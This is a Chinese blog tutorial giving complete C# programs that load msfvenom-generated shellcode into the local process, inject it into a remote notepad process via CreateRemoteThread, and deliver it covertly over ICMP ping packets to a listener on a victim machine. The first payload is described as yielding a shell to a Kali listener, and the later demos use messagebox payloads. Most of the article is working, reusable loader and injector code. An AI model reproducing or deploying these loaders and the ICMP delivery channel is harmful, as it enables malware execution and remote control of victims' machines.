0x00 前言
前面的文章中,我们学习了C++如何在本地进程和远程进程中执行shellcode,而本文中是使用C#代码利用icmp传递shellcode的,因此,我们需要先学习一下C#如何执行shellcode。
0x01 csharp进程注入
在本地进程中执行shellcode
x64与x86的区别
这里我们先说清楚两者的区别:就定义的时候,用UInt64
与UInt32
的区别
注意,如果你也是用vs,编译的时候,一定要注意生成的shellcode是32位的,编译的时候要选x86;shellcode是64位的,编译的时候要选择x64
32位
老规矩,先用msfvenom
生成一波32位系统的Shellcode。
所涉及的win32 API,在上一篇文章里面学习过了,这里唯一的区别就在于C#还需要DLLImport
来导入win32 api而已。
DllImport
的用法也很简单,就三步:
- 引入命名空间
using System.Runtime.InteropServices;
- 根据win32函数的接口,创建函数声明
- 调用
具体的话,直接看代码,你就懂了
vs首先要新建控制台应用(.NET Framework)
项目
然后把以下代码粘贴到Program.cs
上即可。
using System;
using System.Runtime.InteropServices;
namespace csharp_shellcode
{
class Program
{
[DllImport("kernel32.dll")]
static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwstackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHander, UInt32 dwMilliseconds);
static UInt32 MEM_COMMIT = 0x1000;
static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
static void Main(string[] args)
{
byte[] shellcode = new byte[348] {
0x2b,0xc9,0x83,0xe9,0xaf,0xe8,0xff,0xff,0xff,0xff,0xc0,0x5e,0x81,0x76,0x0e,
0x1e,0x92,0x8e,0x55,0x83,0xee,0xfc,0xe2,0xf4,0xe2,0x7a,0x0c,0x55,0x1e,0x92,
0xee,0xdc,0xfb,0xa3,0x4e,0x31,0x95,0xc2,0xbe,0xde,0x4c,0x9e,0x05,0x07,0x0a,
0x19,0xfc,0x7d,0x11,0x25,0xc4,0x73,0x2f,0x6d,0x22,0x69,0x7f,0xee,0x8c,0x79,
0x3e,0x53,0x41,0x58,0x1f,0x55,0x6c,0xa7,0x4c,0xc5,0x05,0x07,0x0e,0x19,0xc4,
0x69,0x95,0xde,0x9f,0x2d,0xfd,0xda,0x8f,0x84,0x4f,0x19,0xd7,0x75,0x1f,0x41,
0x05,0x1c,0x06,0x71,0xb4,0x1c,0x95,0xa6,0x05,0x54,0xc8,0xa3,0x71,0xf9,0xdf,
0x5d,0x83,0x54,0xd9,0xaa,0x6e,0x20,0xe8,0x91,0xf3,0xad,0x25,0xef,0xaa,0x20,
0xfa,0xca,0x05,0x0d,0x3a,0x93,0x5d,0x33,0x95,0x9e,0xc5,0xde,0x46,0x8e,0x8f,
0x86,0x95,0x96,0x05,0x54,0xce,0x1b,0xca,0x71,0x3a,0xc9,0xd5,0x34,0x47,0xc8,
0xdf,0xaa,0xfe,0xcd,0xd1,0x0f,0x95,0x80,0x65,0xd8,0x43,0xfa,0xbd,0x67,0x1e,
0x92,0xe6,0x22,0x6d,0xa0,0xd1,0x01,0x76,0xde,0xf9,0x73,0x19,0x6d,0x5b,0xed,
0x8e,0x93,0x8e,0x55,0x37,0x56,0xda,0x05,0x76,0xbb,0x0e,0x3e,0x1e,0x6d,0x5b,
0x05,0x4e,0xc2,0xde,0x15,0x4e,0xd2,0xde,0x3d,0xf4,0x9d,0x51,0xb5,0xe1,0x47,
0x19,0x3f,0x1b,0xfa,0x4e,0xfd,0xb0,0x91,0xe6,0x57,0x1e,0x93,0x35,0xdc,0xf8,
0xf8,0x9e,0x03,0x49,0xfa,0x17,0xf0,0x6a,0xf3,0x71,0x80,0x9b,0x52,0xfa,0x59,
0xe1,0xdc,0x86,0x20,0xf2,0xfa,0x7e,0xe0,0xbc,0xc4,0x71,0x80,0x76,0xf1,0xe3,
0x31,0x1e,0x1b,0x6d,0x02,0x49,0xc5,0xbf,0xa3,0x74,0x80,0xd7,0x03,0xfc,0x6f,
0xe8,0x92,0x5a,0xb6,0xb2,0x54,0x1f,0x1f,0xca,0x71,0x0e,0x54,0x8e,0x11,0x4a,
0xc2,0xd8,0x03,0x48,0xd4,0xd8,0x1b,0x48,0xc4,0xdd,0x03,0x76,0xeb,0x42,0x6a,
0x98,0x6d,0x5b,0xdc,0xfe,0xdc,0xd8,0x13,0xe1,0xa2,0xe6,0x5d,0x99,0x8f,0xee,
0xaa,0xcb,0x29,0x7e,0xe0,0xbc,0xc4,0xe6,0xf3,0x8b,0x2f,0x13,0xaa,0xcb,0xae,
0x88,0x29,0x14,0x12,0x75,0xb5,0x6b,0x97,0x35,0x12,0x0d,0xe0,0xe1,0x3f,0x1e,
0xc1,0x71,0x80 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
算法思路和C++差不多,只不过后面多了一个WaitForSingleObject
,意思就是创建完线程之后,别直接断掉,要等0xFFFFFFFF
毫秒,再断,换算一下,大概50天左右。
运行之前,还得简单配置一下项目属性。
选好启动对象
和输出类型
再选择对应的平台,这里因为我们用msfvenom
生成的是32位的shellcode,因此选择x86
平台
最后,kali开启监听,然后运行代码,拿到shell
64位
接下来是64位系统的,全局替换UInt32
为UInt64
,然后重新生成shellcode
为了方便演示,这里直接弹框就行
msfvenom -p windows/x64/messagebox TEXT="hello" -f csharp
using System;
using System.Runtime.InteropServices;
namespace csharp_shellcode
{
class Program
{
[DllImport("kernel32.dll")]
static extern UInt64 VirtualAlloc(UInt64 lpStartAddr, UInt64 size, UInt64 flAllocationType, UInt64 flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(UInt64 lpThreadAttributes, UInt64 dwstackSize, UInt64 lpStartAddress, IntPtr param, UInt64 dwCreationFlags, ref UInt64 lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt64 WaitForSingleObject(IntPtr hHander, UInt64 dwMilliseconds);
static UInt64 MEM_COMMIT = 0x1000;
static UInt64 PAGE_EXECUTE_READWRITE = 0x40;
static void Main(string[] args)
{
byte[] shellcode = new byte[284] {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x04,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x65,0x6c,
0x6c,0x6f,0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };
UInt64 funcAddr = VirtualAlloc(0, (UInt64)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt64 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
在远程进程中执行shellcode
受害机器是win10 64位,开启了记事本,PID为11640
msf生成64位的payload
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
namespace csharp_shellcode
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(UInt64 processAccess, bool bInheritHandle, UInt64 processID);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr IpAddress, UInt64 dwSize, UInt64 flAllocationType, UInt64 flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt64 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UInt64 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt64 dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHander, UInt32 dwMilliseconds);
public static void shellcodeInjection(byte[] shellcode)
{
UInt64 notepadPID = 11640;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, notepadPID);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
byte[] buf = shellcode;
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, (UInt64)buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
static void Main(string[] args)
{
byte[] buf = new byte[284] {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x04,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x65,0x6c,
0x6c,0x6f,0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };
shellcodeInjection(buf);
}
}
}
运行代码,即可看到弹框
0x01 ICMP传递shellcode
接下来就是正文了,本来还想翻译一下原文,但是发现已经有表哥做了这步,https://mp.weixin.qq.com/s/O0d46AOG9lxH8GAZvapbQw
因此下面我只列出关键步骤:
下面代码中192.168.174.2
为受害IP
shellcode-injector.exe 如下:
using System.Net.NetworkInformation;
namespace shellcodeInjector
{
class Program
{
public static void sendShellcode()
{
Ping pingSender = new Ping();
int timeout = 10000;
byte[] buf = new byte[295] {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };
PingOptions options = new PingOptions(64, true);
pingSender.Send("192.168.174.2", timeout, buf, options);
}
static void Main(string[] args)
{
sendShellcode();
}
}
}
pingInjection.exe如下:
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
namespace pingInjection
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(UInt64 processAccess, bool bInheritHandle, UInt64 processID);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr IpAddress, UInt64 dwSize, UInt64 flAllocationType, UInt64 flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt64 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UInt64 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt64 dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHander, UInt32 dwMilliseconds);
public static void shellcodeInjection(byte[] shellcode)
{
UInt64 notepadPID = 3324;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, notepadPID);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
byte[] buf = shellcode;
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, (UInt64)buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
public static byte[] getShellcode()
{
Socket icmpListener = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
icmpListener.Bind(new IPEndPoint(IPAddress.Parse("192.168.174.2"), 0));
icmpListener.IOControl(IOControlCode.ReceiveAll, new byte[] { 1, 0, 0, 0 }, new byte[] { 1, 0, 0, 0 });
byte[] buffer = new byte[4096];
EndPoint remoteEndPoint = new IPEndPoint(IPAddress.Any, 0);
byte[] shellcode = new byte[4068];
var bytesRead = icmpListener.ReceiveFrom(buffer, ref remoteEndPoint);
System.Buffer.BlockCopy(buffer, 28, shellcode, 0, 4068);
return shellcode;
}
static void Main(string[] args)
{
byte[] shellcode = getShellcode();
shellcodeInjection(shellcode);
}
}
}
被控制机器win10 64位打开记事本,修改代码中记事本的PIDnotepadPID
,运行ping-injection.exe
攻击者机器(64位系统)运行shellcode-injector.exe
,受害机器上即出现弹框。
0x02 ping不通
如果你的被攻击机器也是win10 64 位,那很可能上面会复现失败,因为win10的防火墙配置,默认不能被ping。。。
因此需要开启icmp,才能被ping到,才能复现成功
0x03 题外话
在这里 https://github.com/3gstudent/Homework-of-C-Sharp 看到大佬用csc.exe
编译执行C#的代码,可以直接无视64位和32位的区别。。。
即代码中尽管都使用了UInt32
,使用64位的shellcode,生成的版本选择x64的,也可以正常编译运行。而vs则会直接报错。
c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shell.exe Program.cs
版权属于:江南小虫虫
本文链接:https://fengwenhua.top/index.php/archives/66/
转载时须注明出处及本声明